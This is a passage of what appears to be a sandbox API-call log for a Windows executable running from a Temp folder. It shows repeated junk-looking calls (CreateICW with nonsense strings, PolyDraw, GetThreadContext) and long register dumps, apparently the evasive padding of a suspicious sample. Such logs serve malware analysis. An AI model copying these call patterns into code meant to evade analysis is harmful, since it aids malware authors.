[278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.105] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.106] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.106] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.106] GetConsoleCP () returned 0x0
	[0066.106] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.106] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.107] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.107] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.107] GetConsoleCP () returned 0x0
	[0066.108] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.108] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.108] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.108] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.108] GetConsoleCP () returned 0x0
	[0066.108] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, 